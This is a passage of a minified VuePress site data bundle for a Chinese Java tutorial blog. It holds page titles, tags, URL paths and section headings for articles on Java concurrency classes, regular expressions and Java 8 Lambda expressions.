8%8ETimer%E7%9A%84%E5%8C%BA%E5%88%AB%E5%92%8C%E7%AE%80%E5%8D%95%E7%A4%BA%E4%BE%8B.html",headers:[{level:2,title:"二者的区别",slug:"二者的区别"},{level:3,title:"线程角度",slug:"线程角度"},{level:3,title:"系统时间敏感度",slug:"系统时间敏感度"},{level:3,title:"是否捕获异常",slug:"是否捕获异常"},{level:3,title:"任务是否具备优先级",slug:"任务是否具备优先级"},{level:3,title:"是否支持对任务排序",slug:"是否支持对任务排序"},{level:3,title:"能否获取返回的结果",slug:"能否获取返回的结果"},{level:2,title:"二者简单的示例",slug:"二者简单的示例"},{level:3,title:"Timer类简单示例",slug:"timer类简单示例"},{level:3,title:"ScheduledThreadPoolExecutor类简单示例",slug:"scheduledthreadpoolexecutor类简单示例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"深度解析ScheduledThreadPoolExecutor类的源代码",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"深度解析ScheduledThreadPoolExecutor类的源代码",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"在【高并发专题】的专栏中,我们深度分析了ThreadPoolExecutor类的源代码,而ScheduledThreadPoolExecutor类是ThreadPoolExecutor类的子类。今天我们就来一起手撕ScheduledThreadPoolExecutor类的源代码。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"深度解析ScheduledThreadPoolExecutor类的源代码"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-014-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ScheduledThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E4%BB%A3%E7%A0%81.html"},{name:"twitter:title",content:"深度解析ScheduledThreadPoolExecutor类的源代码"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-014-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ScheduledThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E4%BB%A3%E7%A0%81.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-014-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ScheduledThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E4%BB%A3%E7%A0%81.html",relativePath:"md/concurrent/source/2020-03-30-014-深度解析ScheduledThreadPoolExecutor类的源代码.md",key:"v-04a438ce",path:"/md/concurrent/source/2020-03-30-014-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90ScheduledThreadPoolExecutor%E7%B1%BB%E7%9A%84%E6%BA%90%E4%BB%A3%E7%A0%81.html",headers:[{level:3,title:"构造方法",slug:"构造方法"},{level:3,title:"schedule方法",slug:"schedule方法"},{level:3,title:"decorateTask方法",slug:"decoratetask方法"},{level:3,title:"scheduleAtFixedRate方法",slug:"scheduleatfixedrate方法"},{level:3,title:"scheduleWithFixedDelay方法",slug:"schedulewithfixeddelay方法"},{level:3,title:"triggerTime方法",slug:"triggertime方法"},{level:3,title:"overflowFree方法",slug:"overflowfree方法"},{level:3,title:"delayedExecute方法",slug:"delayedexecute方法"},{level:3,title:"reExecutePeriodic方法",slug:"reexecuteperiodic方法"},{level:3,title:"onShutdown方法",slug:"onshutdown方法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"今天,跟大家聊聊AQS中的CountDownLatch、Semaphore与CyclicBarrier,好了,进入今天的主题吧。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-015-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84CountDownLatch%E3%80%81Semaphore%E4%B8%8ECyclicBarrier.html"},{name:"twitter:title",content:"浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-015-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84CountDownLatch%E3%80%81Semaphore%E4%B8%8ECyclicBarrier.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-015-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84CountDownLatch%E3%80%81Semaphore%E4%B8%8ECyclicBarrier.html",relativePath:"md/concurrent/source/2020-03-30-015-浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier.md",key:"v-73a938c9",path:"/md/concurrent/source/2020-03-30-015-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84CountDownLatch%E3%80%81Semaphore%E4%B8%8ECyclicBarrier.html",headers:[{level:2,title:"CountDownLatch",slug:"countdownlatch"},{level:3,title:"概述",slug:"概述"},{level:3,title:"使用场景",slug:"使用场景"},{level:3,title:"代码示例",slug:"代码示例"},{level:2,title:"Semaphore",slug:"semaphore"},{level:3,title:"概述",slug:"概述-2"},{level:3,title:"使用场景",slug:"使用场景-2"},{level:3,title:"代码示例",slug:"代码示例-2"},{level:2,title:"CyclicBarrier",slug:"cyclicbarrier"},{level:3,title:"概述",slug:"概述-3"},{level:3,title:"使用场景",slug:"使用场景-3"},{level:3,title:"CyclicBarrier与CountDownLatch的区别",slug:"cyclicbarrier与countdownlatch的区别"},{level:3,title:"代码示例",slug:"代码示例-3"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"Java中主要分为两类锁,一类是synchronized修饰的锁,另外一类就是J.U.C中提供的锁。J.U.C中提供的核心锁就是ReentrantLock。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-016-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84ReentrantLock%E3%80%81ReentrantReadWriteLock%E3%80%81StampedLock%E4%B8%8ECondition.html"},{name:"twitter:title",content:"浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-016-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84ReentrantLock%E3%80%81ReentrantReadWriteLock%E3%80%81StampedLock%E4%B8%8ECondition.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-016-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84ReentrantLock%E3%80%81ReentrantReadWriteLock%E3%80%81StampedLock%E4%B8%8ECondition.html",relativePath:"md/concurrent/source/2020-03-30-016-浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition.md",key:"v-38a0b656",path:"/md/concurrent/source/2020-03-30-016-%E6%B5%85%E8%B0%88AQS%E4%B8%AD%E7%9A%84ReentrantLock%E3%80%81ReentrantReadWriteLock%E3%80%81StampedLock%E4%B8%8ECondition.html",headers:[{level:2,title:"ReentrantLock",slug:"reentrantlock"},{level:3,title:"概述",slug:"概述"},{level:3,title:"代码示例",slug:"代码示例"},{level:2,title:"ReentrantReadWriteLock",slug:"reentrantreadwritelock"},{level:3,title:"概述",slug:"概述-2"},{level:3,title:"代码示例",slug:"代码示例-2"},{level:2,title:"StampedLock",slug:"stampedlock"},{level:3,title:"概述",slug:"概述-3"},{level:3,title:"代码示例",slug:"代码示例-3"},{level:2,title:"Condition",slug:"condition"},{level:3,title:"概述",slug:"概述-4"},{level:3,title:"代码示例",slug:"代码示例-4"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"朋友去面试竟然栽在了Thread类的源码上",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"朋友去面试竟然栽在了Thread类的源码上",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"最近和一个朋友聊天,他跟我说起了他去XXX公司面试的情况,面试官的一个问题把他打懵了!竟然问他:你经常使用Thread创建线程,那你看过Thread类的源码吗?我这个朋友自然是没看过Thread类的源码,然后,就没有然后了!!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"朋友去面试竟然栽在了Thread类的源码上"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-017-%E6%9C%8B%E5%8F%8B%E5%8E%BB%E9%9D%A2%E8%AF%95%E7%AB%9F%E7%84%B6%E6%A0%BD%E5%9C%A8%E4%BA%86Thread%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E4%B8%8A.html"},{name:"twitter:title",content:"朋友去面试竟然栽在了Thread类的源码上"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-017-%E6%9C%8B%E5%8F%8B%E5%8E%BB%E9%9D%A2%E8%AF%95%E7%AB%9F%E7%84%B6%E6%A0%BD%E5%9C%A8%E4%BA%86Thread%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E4%B8%8A.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-017-%E6%9C%8B%E5%8F%8B%E5%8E%BB%E9%9D%A2%E8%AF%95%E7%AB%9F%E7%84%B6%E6%A0%BD%E5%9C%A8%E4%BA%86Thread%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E4%B8%8A.html",relativePath:"md/concurrent/source/2020-03-30-017-朋友去面试竟然栽在了Thread类的源码上.md",key:"v-77700dbf",path:"/md/concurrent/source/2020-03-30-017-%E6%9C%8B%E5%8F%8B%E5%8E%BB%E9%9D%A2%E8%AF%95%E7%AB%9F%E7%84%B6%E6%A0%BD%E5%9C%A8%E4%BA%86Thread%E7%B1%BB%E7%9A%84%E6%BA%90%E7%A0%81%E4%B8%8A.html",headers:[{level:2,title:"前言",slug:"前言"},{level:2,title:"Thread类的继承关系",slug:"thread类的继承关系"},{level:2,title:"Thread类的源码剖析",slug:"thread类的源码剖析"},{level:3,title:"Thread类定义",slug:"thread类定义"},{level:3,title:"加载本地资源",slug:"加载本地资源"},{level:3,title:"Thread中的成员变量",slug:"thread中的成员变量"},{level:3,title:"线程的状态定义",slug:"线程的状态定义"},{level:3,title:"Thread类的构造方法",slug:"thread类的构造方法"},{level:3,title:"init()方法",slug:"init-方法"},{level:3,title:"run()方法",slug:"run-方法"},{level:3,title:"start()方法",slug:"start-方法"},{level:3,title:"sleep()方法",slug:"sleep-方法"},{level:3,title:"join()方法",slug:"join-方法"},{level:3,title:"interrupt()方法",slug:"interrupt-方法"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"如何使用Java7提供的ForkJoin框架实现高并发程序?",frontmatter:{layout:"post",category:"binghe-code-concurrent",title:"如何使用Java7提供的ForkJoin框架实现高并发程序?",tagline:"by 冰河",tag:["concurrent","binghe-code-concurrent"],excerpt:"位于J.U.C(java.util.concurrent)中,是Java7中提供的用于执行并行任务的框架,其可以将大任务分割成若干个小任务,最终汇总每个小任务的结果后得到最终结果。基本思想和Hadoop的MapReduce思想类似。主要采用的是工作窃取算法(某个线程从其他队列里窃取任务来执行),并行分治计算中的一种Work-stealing策略",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"如何使用Java7提供的ForkJoin框架实现高并发程序?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/concurrent/source/2020-03-30-018-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Java7%E6%8F%90%E4%BE%9B%E7%9A%84ForkJoin%E6%A1%86%E6%9E%B6%E5%AE%9E%E7%8E%B0%E9%AB%98%E5%B9%B6%E5%8F%91%E7%A8%8B%E5%BA%8F%EF%BC%9F.html"},{name:"twitter:title",content:"如何使用Java7提供的ForkJoin框架实现高并发程序?"},{name:"twitter:url",content:"/md/concurrent/source/2020-03-30-018-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Java7%E6%8F%90%E4%BE%9B%E7%9A%84ForkJoin%E6%A1%86%E6%9E%B6%E5%AE%9E%E7%8E%B0%E9%AB%98%E5%B9%B6%E5%8F%91%E7%A8%8B%E5%BA%8F%EF%BC%9F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/concurrent/source/2020-03-30-018-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Java7%E6%8F%90%E4%BE%9B%E7%9A%84ForkJoin%E6%A1%86%E6%9E%B6%E5%AE%9E%E7%8E%B0%E9%AB%98%E5%B9%B6%E5%8F%91%E7%A8%8B%E5%BA%8F%EF%BC%9F.html",relativePath:"md/concurrent/source/2020-03-30-018-如何使用Java7提供的ForkJoin框架实现高并发程序?.md",key:"v-b98c1c30",path:"/md/concurrent/source/2020-03-30-018-%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Java7%E6%8F%90%E4%BE%9B%E7%9A%84ForkJoin%E6%A1%86%E6%9E%B6%E5%AE%9E%E7%8E%B0%E9%AB%98%E5%B9%B6%E5%8F%91%E7%A8%8B%E5%BA%8F%EF%BC%9F.html",headers:[{level:2,title:"Fork/Join框架",slug:"fork-join框架"},{level:2,title:"为什么需要使用工作窃取算法呢?",slug:"为什么需要使用工作窃取算法呢"},{level:3,title:"工作窃取算法的优点",slug:"工作窃取算法的优点"},{level:3,title:"工作窃取算法的缺点",slug:"工作窃取算法的缺点"},{level:2,title:"Fork/Join框架局限性",slug:"fork-join框架局限性"},{level:2,title:"Fork/Join框架的核心类",slug:"fork-join框架的核心类"},{level:2,title:"示例代码",slug:"示例代码"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/advanced/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/core/java/advanced/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/advanced/default.html",relativePath:"md/core/java/advanced/default.md",key:"v-964db876",path:"/md/core/java/advanced/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"全网最全正则表达式总结",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"全网最全正则表达式总结",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"全网最全正则表达式总结",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"全网最全正则表达式总结"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/basics/2022-04-28-%E5%85%A8%E7%BD%91%E6%9C%80%E5%85%A8%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%80%BB%E7%BB%93.html"},{name:"twitter:title",content:"全网最全正则表达式总结"},{name:"twitter:url",content:"/md/core/java/basics/2022-04-28-%E5%85%A8%E7%BD%91%E6%9C%80%E5%85%A8%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%80%BB%E7%BB%93.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/basics/2022-04-28-%E5%85%A8%E7%BD%91%E6%9C%80%E5%85%A8%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%80%BB%E7%BB%93.html",relativePath:"md/core/java/basics/2022-04-28-全网最全正则表达式总结.md",key:"v-6ca0b234",path:"/md/core/java/basics/2022-04-28-%E5%85%A8%E7%BD%91%E6%9C%80%E5%85%A8%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%80%BB%E7%BB%93.html",headers:[{level:2,title:"冰河常用正则",slug:"冰河常用正则"},{level:2,title:"时间正则案例",slug:"时间正则案例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/basics/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/core/java/basics/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/basics/default.html",relativePath:"md/core/java/basics/default.md",key:"v-a6f54436",path:"/md/core/java/basics/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"一张图带你领略Java8有哪些新特性",frontmatter:{layout:"post",category:"binghe-code-life",title:"一张图带你领略Java8有哪些新特性",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"很多小伙伴留言说,冰河你能不能写一些关于Java8的文章呢,看书看不下去,看视频进度太慢。好吧,看到不少读者对Java8还是比较陌生的,那我就写一些关于Java8的文章吧,希望对大家有所帮助。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"一张图带你领略Java8有哪些新特性"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-001-Java8%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B0%E7%89%B9%E6%80%A7%E5%91%A2%EF%BC%9F.html"},{name:"twitter:title",content:"一张图带你领略Java8有哪些新特性"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-001-Java8%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B0%E7%89%B9%E6%80%A7%E5%91%A2%EF%BC%9F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-001-Java8%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B0%E7%89%B9%E6%80%A7%E5%91%A2%EF%BC%9F.html",relativePath:"md/core/java/java8/2022-03-31-001-Java8有哪些新特性呢?.md",key:"v-93f98e38",path:"/md/core/java/java8/2022-03-31-001-Java8%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B0%E7%89%B9%E6%80%A7%E5%91%A2%EF%BC%9F.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Java8有哪些新特性?",slug:"java8有哪些新特性"},{level:2,title:"Java8有哪些优点?",slug:"java8有哪些优点"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"你知道Java8为什么要引入Lambda表达式吗?",frontmatter:{layout:"post",category:"binghe-code-life",title:"你知道Java8为什么要引入Lambda表达式吗?",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"这是一道真实的面试题,一个读者朋友出去面试,面试官竟然问他这样一个问题:你说说Java8中为什么引入Lambda表达式?引入Lambda表达式后有哪些好处呢?还好这个朋友对Java8早有准备。不过,如果是看文章的你出去面试,面试官问你这样的问题,你是否也能轻松回答呢?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"你知道Java8为什么要引入Lambda表达式吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-002-%E4%BD%A0%E7%9F%A5%E9%81%93Java8%E4%B8%BA%E4%BB%80%E4%B9%88%E5%BC%95%E5%85%A5Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%90%97.html"},{name:"twitter:title",content:"你知道Java8为什么要引入Lambda表达式吗?"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-002-%E4%BD%A0%E7%9F%A5%E9%81%93Java8%E4%B8%BA%E4%BB%80%E4%B9%88%E5%BC%95%E5%85%A5Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%90%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-002-%E4%BD%A0%E7%9F%A5%E9%81%93Java8%E4%B8%BA%E4%BB%80%E4%B9%88%E5%BC%95%E5%85%A5Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%90%97.html",relativePath:"md/core/java/java8/2022-03-31-002-你知道Java8为什么引入Lambda表达式吗.md",key:"v-1ea15bae",path:"/md/core/java/java8/2022-03-31-002-%E4%BD%A0%E7%9F%A5%E9%81%93Java8%E4%B8%BA%E4%BB%80%E4%B9%88%E5%BC%95%E5%85%A5Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%90%97.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"什么是Lambda表达式?",slug:"什么是lambda表达式"},{level:2,title:"匿名内部类",slug:"匿名内部类"},{level:2,title:"Lambda表达式",slug:"lambda表达式"},{level:2,title:"对比常规方法和Lambda表达式",slug:"对比常规方法和lambda表达式"},{level:3,title:"1.常规遍历集合",slug:"_1-常规遍历集合"},{level:3,title:"2.使用设计模式优化代码",slug:"_2-使用设计模式优化代码"},{level:3,title:"3.匿名内部类",slug:"_3-匿名内部类"},{level:3,title:"4.重头戏:Lambda表达式",slug:"_4-重头戏-lambda表达式"},{level:3,title:"5.重头戏:Stream API",slug:"_5-重头戏-stream-api"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"Lambda表达式基础语法,都在这儿了!!",frontmatter:{layout:"post",category:"binghe-code-life",title:"Lambda表达式基础语法,都在这儿了!!",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"前面积极响应读者的需求,写了两篇Java新特性的文章。有小伙伴留言说:感觉Lambda表达式很强大啊!一行代码就能够搞定那么多功能!我想学习下Lambda表达式的语法,可以吗?我的回答是:没问题!这不,Lambda表达式来了!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"Lambda表达式基础语法,都在这儿了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-003-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%95%EF%BC%8C%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:title",content:"Lambda表达式基础语法,都在这儿了!!"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-003-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%95%EF%BC%8C%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-003-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%95%EF%BC%8C%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",relativePath:"md/core/java/java8/2022-03-31-003-Lambda表达式基础语法,都在这儿了.md",key:"v-b74b60de",path:"/md/core/java/java8/2022-03-31-003-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%9F%BA%E7%A1%80%E8%AF%AD%E6%B3%95%EF%BC%8C%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"匿名类到Lambda表达式",slug:"匿名类到lambda表达式"},{level:2,title:"Lambda表达式的语法",slug:"lambda表达式的语法"},{level:2,title:"函数式接口",slug:"函数式接口"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"Lambda表达式典型案例,你想要的的都在这儿了!!",frontmatter:{layout:"post",category:"binghe-code-life",title:"Lambda表达式典型案例,你想要的的都在这儿了!!",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"不得不说,有些小伙伴的学习热情真高,学完了Lambda表达式的语法,想来几个典型案例再强化下。于是问冰河能否给几个Lambda表达式的典型使用示例。于是乎,便有了这篇文章。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"Lambda表达式典型案例,你想要的的都在这儿了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-004-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%85%B8%E5%9E%8B%E6%A1%88%E4%BE%8B%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:title",content:"Lambda表达式典型案例,你想要的的都在这儿了!!"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-004-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%85%B8%E5%9E%8B%E6%A1%88%E4%BE%8B%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-004-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%85%B8%E5%9E%8B%E6%A1%88%E4%BE%8B%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",relativePath:"md/core/java/java8/2022-03-31-004-Lambda表达式典型案例,你想要的的都在这儿了.md",key:"v-64eac13d",path:"/md/core/java/java8/2022-03-31-004-Lambda%E8%A1%A8%E8%BE%BE%E5%BC%8F%E5%85%B8%E5%9E%8B%E6%A1%88%E4%BE%8B%EF%BC%8C%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E7%9A%84%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"案例一",slug:"案例一"},{level:3,title:"需求",slug:"需求"},{level:3,title:"实现",slug:"实现"},{level:2,title:"案例二",slug:"案例二"},{level:3,title:"需求",slug:"需求-2"},{level:3,title:"实现",slug:"实现-2"},{level:2,title:"案例三",slug:"案例三"},{level:3,title:"需求",slug:"需求-3"},{level:3,title:"实现",slug:"实现-3"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"一文搞懂函数式接口",frontmatter:{layout:"post",category:"binghe-code-life",title:"一文搞懂函数式接口",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"Java8中内置了一些在开发中常用的函数式接口,极大的提高了我们的开发效率。那么,问题来了,你知道都有哪些函数式接口吗?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"一文搞懂函数式接口"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-005-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E5%87%BD%E6%95%B0%E5%BC%8F%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:title",content:"一文搞懂函数式接口"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-005-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E5%87%BD%E6%95%B0%E5%BC%8F%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-005-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E5%87%BD%E6%95%B0%E5%BC%8F%E6%8E%A5%E5%8F%A3.html",relativePath:"md/core/java/java8/2022-03-31-005-一文搞懂函数式接口.md",key:"v-3750b18e",path:"/md/core/java/java8/2022-03-31-005-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E5%87%BD%E6%95%B0%E5%BC%8F%E6%8E%A5%E5%8F%A3.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"函数式接口总览",slug:"函数式接口总览"},{level:3,title:"四大核心函数式接口",slug:"四大核心函数式接口"},{level:3,title:"其他函数接口",slug:"其他函数接口"},{level:2,title:"四大核心函数式接口",slug:"四大核心函数式接口-2"},{level:2,title:"Consumer接口",slug:"consumer接口"},{level:3,title:"1.接口说明",slug:"_1-接口说明"},{level:3,title:"2.使用示例",slug:"_2-使用示例"},{level:2,title:"Supplier接口",slug:"supplier接口"},{level:3,title:"1.接口说明",slug:"_1-接口说明-2"},{level:3,title:"2.使用示例",slug:"_2-使用示例-2"},{level:2,title:"Function接口",slug:"function接口"},{level:3,title:"1.接口说明",s